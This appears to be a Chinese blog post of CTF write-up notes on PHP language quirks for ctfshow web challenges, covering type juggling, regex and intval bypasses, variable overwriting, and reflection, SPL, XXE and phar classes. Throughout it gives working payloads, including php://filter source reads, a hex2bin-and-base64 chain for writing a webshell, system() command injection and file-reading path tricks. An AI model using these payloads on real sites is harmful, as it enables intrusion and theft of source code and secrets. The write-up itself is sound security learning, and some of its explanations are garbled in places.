1809 字
9 分钟
PHP特性练习

intval 获取变量的整数值,不能对对象使用,否则产生错误,数组为空返回 0,不为空返回 1

preg_match 只能对字符串使用,传入数组报错返回 false

构造 payload:?num[]=1

弱比较直接传 num=4476a

了解了一下 intval 第二个参数为 0 触发自动参数判断,可以自动识别八进制,十进制,十六进制等并转换,这题也可以传 num=0x117C 十六进制 4476=0x117C

第 一 个正则匹配:/^php$/im 表示传入的字符串中某一行需要严格等于 php

第 二个正则匹配:/^php$/i 表示传入的字符串需要严格等于 php

所以利用换行符隔开一下,试了一下这里好像只能使用%0a

paylaod:?cmd=php%0d1

同 2

还是 intval 第二个参数为 0,自动识别进制,但是过滤了字母,所以使用八进制,4476=10574

添加 0 开头表示八进制,?num=010574

?num=+010574

还可以利用小数 4476.1

同上

./flag

?u=php://filter/read=convert.base64-encode/resource=flag.php

直接数组绕过,md 不能加密数组,返回 null

?a[]=1&b[]=2

使用===强比较,不能使用魔术 hash,0e 会被当作科学计数法

使用 md5 碰撞,md5 算法不在安全,存在两个不同文件 hash 值相同 ,直接网上搜

$_GET?$_GET=&$_POST:'flag';

判断 get 是否为空?为空则 get 成为 post 的引用,简单来说就是 get 和 post 指向同一个东西,不为空则 get=flag

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';

$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__

`php 会把请求头 FLAG 转为 HTTP_FLAG 存到 $SEVER```

所以传入请求头 FLAG:flag 另SERVER[′FLAG′]=flag,所以_SERVER['FLAG']=flag,所以GET[‘flag’] 不能等于 flag,这时GET=_GET=_COOKIE 的引用,所以GET[′flag′]不能等于flag,这时GET['flag'] 不能等于 flag,这时_GET=POST的引用,所以_POST 的引用,所以 _GET 不为空

最终

POST ?x=1

data: flag=flag

Cookie: flag=flag

Header: Flag: flag

每次随机从 1-i 选一个放到 array 数组里,i 从 36 到 876,选取的数字的范围是 1-876,只需要找到一个数大概率出现在数组中就行,计算 1 不出现的概率为 35/36*(36/37)*(875/876),约分后 35/876,所以 1 大概率在数组里

只需要另 v1 为真则整个表达式为真

payload=1&v2=var_dump($ctfshow)/&v3=/

payload;?v1=1&v2=print new Reflectionclass&v3=;

php 中的反射机制可以查看类中的属性,私有属性也可以

分析流程,file_put_contents(v3,v3,str),明显要向文件中写入一句话木马,v3 为可控名称,str 为可控内容,首先 v2 要被识别为数字,s 是这段数字截取的一段内容,调用某个函数 v1 后和参数 s 后要构造出一条 命令,因为 s 是一段数字,所以考虑 v1 可以是 hex2bin,对数字进行十六进制转换后得到我们想要的命令,但是 只有在 php5 中 0x 开头的才会被识别为数字,同时 isnumric 对数字有长度限制,所以不直接传命令,而是讲命令 base64 编码后再转为十六进制,同时 file_put_contents 的文件名可以使用为协议,利用伪协议 base64 解码再传入文件

15.用<?=

16

提交两个一样的值

考察全局变量覆盖,php 中:a=b,a=b,b=1,$$a=$b=1

我们需要用传入的参数覆盖当前已经存在的变量,在 get 中利用key=suces,key=suces,value=flag,覆盖变量suces=suces=flag

在 post 中,我们已经另suces=suces=flag,肯定要把这个¥flag 继续传递下去,毫无疑问value=value=suces,key该怎么做,想半天也没想到怎么让key 该怎么做,想半天也没想到怎么让 _POST 中有一个键名 flag,后面发现die(error),不需要走到echoerror),不需要走到 echoflag,直接进入最后的 if 判断打印¥erro,所以 post 传的 key=$erro

最终:GET:?suces=flagm POST:?erro=suces

  1. 碰撞aaO8zKZF以及aaK1STfY

2.数组

parse_str 将传入的字符串转为数组,v1=flag=1,v1=flag=1,v2=[‘flag’=>‘1’]

v1=flag=cfcd208495d565ef66e7dff9f98764da v3=0

ereg(”^[a-zA-Z]+",", _GET[‘c’])===FALSE 的特性#

  • ereg 是旧函数(PHP 5.3 起弃用,PHP 7 起移除

  • 返回值语义:

当字符串中出现%00 时正则出错

?c=a%00778

  1. 反射类(信息泄露 / 绕过访问控制)

高频:能枚举类、方法、属性,甚至拿 private 默认值

ReflectionClass

ReflectionMethod

ReflectionProperty

ReflectionFunction

ReflectionParameter

常见用途:

__toString() 打印结构(有时直接带出 flag)

配合 getDefaultProperties() / getConstants() 拿敏感信息

配合 setAccessible(true) 强行读 private(如果能写到那几步)

  1. SPL 文件/目录类(读文件、写文件、目录遍历)

高频:构造参数是路径;很多类有可用的字符串输出或迭代行为

SplFileObject(读文件、按行迭代)

SplFileInfo(文件信息)

DirectoryIterator

FilesystemIterator

RecursiveDirectoryIterator

RecursiveIteratorIterator

GlobIterator

常见用途:

列目录找到 flag 文件名

读源码/flag 文件(环境允许时)

结合 php://filter 做编码读写

  1. PHP 标准异常类(可控输出 / __toString 泄露)

中频:echo $e 会触发 Exception::__toString() 输出信息

Exception

ErrorException

用途:

把可控字符串塞到异常信息里让它回显(题目允许 echo 对象时)

  1. XML 相关类(XXE / SSRF / 任意文件读取)

高频:只要能控制 XML 输入就可能走 XXE

DOMDocument

SimpleXMLElement

XMLReader

用途:

XXE 读本地文件、打内网请求(取决于 libxml 设置与禁用项)

  1. Phar 相关(反序列化触发链)

高频:phar:// + 文件操作函数,触发 metadata 反序列化

Phar

PharData

用途:

file_exists(“phar://…”)、fopen、exif_read_data 等触发反序列化(关键不在类本身,而在 phar 机制)

常作为“unserialize 禁了但还能打”的绕过点

  1. Session / Iterator 相关(触发回调、意外调用)

中频:更多出现在 gadget chain,而不是单点调用

ArrayObject

ArrayIterator

IteratorIterator

LimitIterator

用途:

反序列化链里的“桥接件”,把数据喂给别的危险点

  1. PDO / 数据库类(环境相关,高频但看题)

能连接数据库、执行查询(需要 DSN/凭据/环境允许)

PDO

PDOStatement

用途:

读库里的 flag(题目经常把 flag 存 DB)

SQL 注入链条中常见

?v1=Reflectionclass&v2=system(‘cat fl36dg.txt’)

不可以使用括号,只能使用无参函数

payload: ?v1=FilesystemIterator&v2=getcwd 直接访问

var_dump(v1),很明显要让¥v1 为 flag,¥v1=&$$v2,所以就要让v2=flag,但是函数内部无法调用函数外部的值,所以只能通过全局变量来展示

?v1=ctfshow&v2=GLOBALS

?file=php://filter/resource=flag.php

1.当文件名超出限制就不被认为是文件

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

  1. file=compress.zlib://flag.php

Php://filter/zlib.deflate|zlib.inflate/resource=flag.php

1.is_numeric() 允许:

  • 前导空白(ASCII 空白字符)

  • 可选 + / -

  • 数字

  • 小数点

  • 科学计数法 e / E

2.trim 默认删除(” \t\n\r\0\x0B”)

payload:%0C36 %0c=/f 换页符

php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

payload=&CTF[SHOW.COM=1&fun=+echo+$flag

payload=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

在 Web 下,如果 register_argc_argv=On,PHP 会构造出 argc/argv,会把查询语句放到 argv 中

paylaod?fl0g=flag_give_me POST:CTF_SHOW=1&CTF[SHOW.COM=2&fun=assert(a[0])

1.extract 会把数组的键名当作变量名,值当作新变量的值,extract(get[x])->$x=1

2.url=url = _SERVER[‘QUERY_STRING’];检查原始字符串,包含参数名, php 中参数名中含有.或 空格会被转化为下划线 _

payload:?ctf show=ilove36d

有点逆天的一题

gettext()可简写为 _(),可翻译成指定语言,这里原样返回;https://www.cnblogs.com/lost-1987/articles/3309693.htmlhttps://www.php.net/manual/zh/book.gettext.php

get_defined_vars 函数输出所有变量的信息

payload:?f1=_()&f2=get_defined_vars

stripos 查找字符串在模板中出现的位置,返回第一次出现的下标

payload:?f=./ctfshow/../flag.php

.匹配任意字符,+?非贪婪匹配,匹配一次或多次,s 匹配包括换行符

payload:f=ctfshow

正则匹配递归深度有限制:https://www.laruence.com/2010/06/08/1579.html

?username=admin&password=admin&code=admin 直接让 usename=admin,|| 只需一个满足

payload:?F=$F+;cp+flag.php+1.txt 有一个问题是该题无回显,需要外带

payload: ?_POST[key1]=36d&_POST[key2]=36d

同 37

exec 无回显,使用 tee 写入文件

payload: cat /f149_15_h3r3|tee 2

POST=ctfshow::getFlag

POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

弱等于比较,另 intval($code)=0

f1=md5&f2=array

f1=sha1&f2=array

f1=fopen&f2=array

f1=filesize&f2=array

f1=unsleep&f2=unsleep

PHP特性练习
https://lab404.cn/posts/php-features-exercise/
作者
见山
发布于
2026-02-14
许可协议
CC BY-NC-SA 4.0